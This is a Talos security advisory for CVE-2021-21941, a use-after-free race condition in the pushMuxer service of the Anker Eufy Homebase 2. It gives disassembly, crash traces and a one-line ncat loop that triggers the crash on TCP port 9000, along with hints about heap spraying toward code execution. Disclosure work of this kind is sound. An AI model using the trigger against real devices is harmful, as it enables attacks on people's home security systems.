Talos Vulnerability Report

TALOS-2021-1370

Anker Eufy Homebase 2 pushMuxer CreatePushThread use-after-free vulnerability

OCTOBER 11, 2021

CVE NUMBER

CVE-2021-21941

SUMMARY

A use-after-free vulnerability exists in the pushMuxer CreatePushThread functionality of Anker Eufy Homebase 2 2.1.6.9h. A specially-crafted set of network packets can lead to remote code execution.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Anker Eufy Homebase 2 2.1.6.9h

PRODUCT URLS

Eufy Homebase 2 - https://us.eufylife.com/products/t88411d1

CVSSV3 SCORE

10.0 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-368 - Context Switching Race Condition

DETAILS

The Eufy Homebase 2 is the video storage and networking gateway that enables the functionality of the Eufy Smarthome ecosystem. All Eufy devices connect back to this device, and this device connects out to the cloud, while also providing assorted services to enhance other Eufy Smarthome devices.

The binary in charge of aggregating audio and video and serving them up via RTSP is called `pushMuxer`. The aggregation is taken care of by the `push` server thread that listens on TCP port 9000, while the RTSP server listens on the standard TCP port 554. When connecting to the `push` server, the standard call to `accept` is made and then followed up by the `CreatePushThread` function with the client's socket as the only argument. Within the `CreatePushThread` function, a few different things occur. First, a size `0x4c728` `struct zx_push_stream_ctx` is allocated and initialized. This object stores all the session data for the current connection. Next, a size `0x4b000` video buffer is allocated, a FIFO is made, and then, most importantly, two new threads are created via `pthread_create`. The first thread calls `stream_send_thread()`, and the second thread calls `receive_push_thread()`:

```
0040b870          if (pthread_create(zx_stream_ctx + 0x1190, 0, 0x4075ac, zx_stream_ctx) != 0) // [1]
0040b870              dzlog(0x43c530, 0xa, 0x43d318, 0x10, 0x6e5, 0x64, 0x43d088)  {"server.cpp"}  {"stream_send_thread create failed"}
{"CreatePushThread"}
0040b87c              goto label_40b944
0040b910          if (pthread_create(zx_stream_ctx + 0xedc, 0, 0x40a59c, zx_stream_ctx) != 0)  // [2]
0040b910              dzlog(0x43c530, 0xa, 0x43d318, 0x10, 0x6ec, 0x64, 0x43d0ac)  {"server.cpp"}  {"create recive_push_thread failed"}
{"CreatePushThread"}
0040b91c              goto label_40b944
0040b92c          zx_stream_ctx->__offset(0x0).b = 1
0040b930          $v0_2 = 0
```

For the purposes of this vulnerability, we don't particularly care about the `stream_send_thread()` [1], but only about the `receive_push_thread()` [2]. It's very important to note in the `pthread_create` invocation (`pthread_create(zx_stream_ctx + 0xedc, 0, 0x40a59c, zx_stream_ctx)`) that the `zx_push_stream_ctx` is passed in as both the `pthread_t *thread` (first) and `void * arg` (last) arguments; this will be important later.

A second important facet to discuss is that pthreads all share the same virtual memory map, as discussed by the main page for `pthreads`:

```
NAME
   pthreads - POSIX threads

DESCRIPTION
       POSIX.1 specifies a set of interfaces (functions, header files) for threaded programming commonly known as POSIX threads, or
       Pthreads.  A single process can contain multiple threads, all of which are executing the same program.  These threads  share
       the same global memory (data and heap segments), but each thread has its own stack (automatic variables).
```

If we wish to be more assured we can also see this via the kernel during runtime (notice the `mm` field all being the same):

```
0x861a4e00 | PID(7083) | stack: 0x82b7c000 | creds: 0x8350bb00 (security:0x82e80880) | mm: 0x82fc1a00 | "pushMuxer"
0x86338000 | PID(7075) | stack: 0x82b3e000 | creds: 0x8350b000 (security:0x82fa4580) | mm: 0x82fc1a00 | "pushMuxer"
0x8633b0c0 | PID(7082) | stack: 0x81938000 | creds: 0x8350b180 (security:0x82e80d80) | mm: 0x82fc1a00 | "pushMuxer"
0x8633eb40 | PID(7081) | stack: 0x82fcc000 | creds: 0x8350b100 (security:0x82e80f00) | mm: 0x82fc1a00 | "pushMuxer"
```

Thus, the `zx_push_stream_ctx` object passed into the `stream_send_thread` and the `receive_push_thread` is the same underlying memory segment as that in the `CreatePushThread` function's thread. The third and final key aspect of this vulnerability is that the `receive_push_thread` frees the `zx_push_stream_ctx` object before it exits to prevent any out-of-memory conditions, since the `zx_push_stream_ctx` object is `0x4d000` bytes in size. With all the above in mind, we can now discuss the race condition UAF. Let us look again at the creation of the threads in `CreatePushThread`:

```
0040b360          zx_stream_ctx = malloc(0x4c728)  // [3]
0040b3b4          if (zx_stream_ctx == 0)
0040b3b4              dzlog(0x43c530, 0xa, 0x43d318, 0x10, 0x6a7, 0x64, 0x43d01c)  {"server.cpp"}  {"malloc zx_stream_ctx failed"}
{"CreatePushThread"}
0040b3c0              goto label_40b944
0040b3e4          memset(zx_stream_ctx, 0, 0x4c728)
//         [...]
0040b910          if (pthread_create(zx_stream_ctx + 0xedc, 0, 0x40a59c, zx_stream_ctx) != 0)  // [4]
0040b910              dzlog(0x43c530, 0xa, 0x43d318, 0x10, 0x6ec, 0x64, 0x43d0ac)  {"server.cpp"}  {"create recive_push_thread failed"}
{"CreatePushThread"}
0040b91c              goto label_40b944
0040b92c          zx_stream_ctx->__offset(0x0).b = 1
0040b930          $v0_2 = 0
```

At [3] we have our massive allocation and at [4] we have the `pthread_create`. But this previous sentence omits some crucial details within `pthread_create()`:

```
0000b864  int32_t pthread_create(void* thread, void* attr, void* (* start_routine)(void*), void* arg)
0000b8a4      void* thread_self = thread_self()
0000b8bc      int32_t $v0_1
0000b8bc      int32_t $v1_1
0000b8bc      if (__pthread_manager_request s< 0)
0000b8c8          $v0_1 = __pthread_initialize_manager()
0000b8d8          $v1_1 = 0xb
0000b8bc      if (__pthread_manager_request s>= 0 || (__pthread_manager_request s< 0 && $v0_1 s>= 0))
0000b8e0          void* var_38_1 = attr
0000b8e4          void* (* var_34_1)(void*) = start_routine
0000b8e8          void* var_30_1 = arg
0000b8ec          void* var_40 = thread_self
0000b8f0          int32_t var_3c_1 = 0
0000b8fc          void var_2c
0000b8fc          sigprocmask(3, 0, &var_2c)
0000b920          int32_t $v0_4
0000b920          do
0000b928              if (write(__pthread_manager_request, &var_40, 0x24) != 0xffffffff) // [5]
0000b928                  break
0000b93c              $v0_4 = *__errno_location()
0000b934          while ($v0_4 == 4)
0000b94c          __pthread_wait_for_restart_signal(thread_self)
0000b954          $v1_1 = *(thread_self + 0x34)
0000b958          if ($v1_1 == 0)
0000b964              *thread = *(thread_self + 0x30)  // [6]
0000b984      return $v1_1
```

After we send the request to start our new thread at [5], we write back to the `pthread_t *thread` argument [6] to inform the parent thread of the new pthread's process ID. But, as astute readers might remember, there's three important facts coming into play here:

```
1. In the `pthread_create` invocation (`thread_create(zx_stream_ctx + 0xedc, 0, 0x40a59c, zx_stream_ctx)`) the `zx_push_stream_ctx` is
passed in as both the  `pthread_t *thread` and `void * arg` arguments.
2. Pthreads all share the same virtual memory map.
3. The `receive_push_thread` frees the `zx_push_stream_ctx` object before it exits.
```

Thus, if the `receive_push_thread` pthread happens to free our `zx_push_stream_ctx` before the line at [6] is run, the write happens to a freed chunk of mmap'ed memory, resulting in a use-after-free vulnerability. Exploitation of this vulnerability would obviously require heap spraying with enough chunks of mmap'ed memory in the given timeframe, but this is not too much of an issue. Recalling that pthreads all share the same virtual memory map, there's also an RTSP server running in this binary in another pthread which can serve this purpose. Another race scenario can happen as well, in which the `receive_push_thread` finishes and frees our object before the `stream_send_thread` ever gets going, so any references to the `zx_push_stream_ctx` object are potential UAF locations.

Crash Information

```
  ================ [>_>] Streamctx Alloc: 0x77bac008  [New LWP 7600]
[PushMuxer]2021-09-07 09:46:44.090 [INFO][server.cpp:stream_send_thread:878] sock_9 start stream_send_thread PID:7600
======================== [<_<] pthread create: 0x77bac008==========[New LWP 7601]
[PushMuxer]2021-09-07 09:46:44.162 [INFO][server.cpp:recive_push_thread:1570] sock_9 start recive_push_thread PID:7601
[PushMuxer]2021-09-07 09:46:44.166 [INFO][server.cpp:recive_push_thread:1635] camera_0 111 recv data failed, real recvLen:6 ,need recv
size:16, error num:2,error info:No such file or directory
[PushMuxer]2021-09-07 09:46:44.170 [INFO][server.cpp:stream_send_thread:885] [pid:7600] camera_0 iControlThreadRun is be 0
[PushMuxer]2021-09-07 09:46:44.171 [INFO][server.cpp:stream_send_thread:980] [pid:7600] camera_0
pool_packet_num:0,in_video_cnt:0,mem_video_cnt:0,send_video_cnt:0,loss_video_cnt:0,in_audio_cnt:0,mem_audio_cnt:0,send_audio_cnt:0
[PushMuxer]2021-09-07 09:46:44.172 [INFO][server.cpp:stream_send_thread:984] [pid:7600] camera_0 sock_9 stream send thread quit success
[LWP 7600 exited]
[PushMuxer]2021-09-07 09:46:44.178 [INFO][mempool.cpp:zx_mempool_deinit:962] mempool deinit.....
[Switching to LWP 7601]
============     ===== [>_>] Streamctx Free: 0x77bac008  [Current thread is 520 (LWP 7601)]
[PushMuxer]2021-09-07 09:46:44.238 [INFO][server.cpp:recive_push_thread:1649] camera_0 sock_9 thread quit succes
[LWP 7601 exited]

Thread 1 "pushMuxer" received signal SIGSEGV, Segmentation fault.
[Switching to LWP 7075]
0x77cf5964 in pthread_create () from /lib/libpthread.so.0

<(^.^)>#x/4i $pc-0x4
   0x77cf5960 <pthread_create+252>:     lw      v0,48(s1)
=> 0x77cf5964 <pthread_create+256>:     sw      v0,0(s0)
   0x77cf5968 <pthread_create+260>:     lw      ra,84(sp)
   0x77cf596c <pthread_create+264>:     move    v0,v1

<(^.^)>#info reg $s0
s0: 0x77bacee4

(^.^)>#info proc map
process 7075
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
          0x400000   0x446000    0x46000        0x0 /root/eufyroot/bin/pushMuxer
          0x455000   0x457000     0x2000    0x45000 /root/eufyroot/bin/pushMuxer
          0x457000   0x9cd000   0x576000        0x0 [heap]
          0x77bf9000 0x77bfb000     0x2000        0x0 /usr/lib/libdl.so.0
// [...]

<(^.^)>#bt
#0  0x77cf5964 in pthread_create () from /lib/libpthread.so.0
#1  0x0040b8b8 in ?? ()
#2  0x0040c70c in ?? ()
#3  0x0040cd24 in main ()
```

Exploit Proof of Concept

```
while true; do echo "adsf" | ncat 10.11.10.21 9000 -w .1; done
```

TIMELINE

2021-09-14 - Vendor Disclosure

2021-10-10 - Vendor patched

2021-10-11 - Public Release

CREDIT

Discovered by Lilith >_> of Cisco Talos.
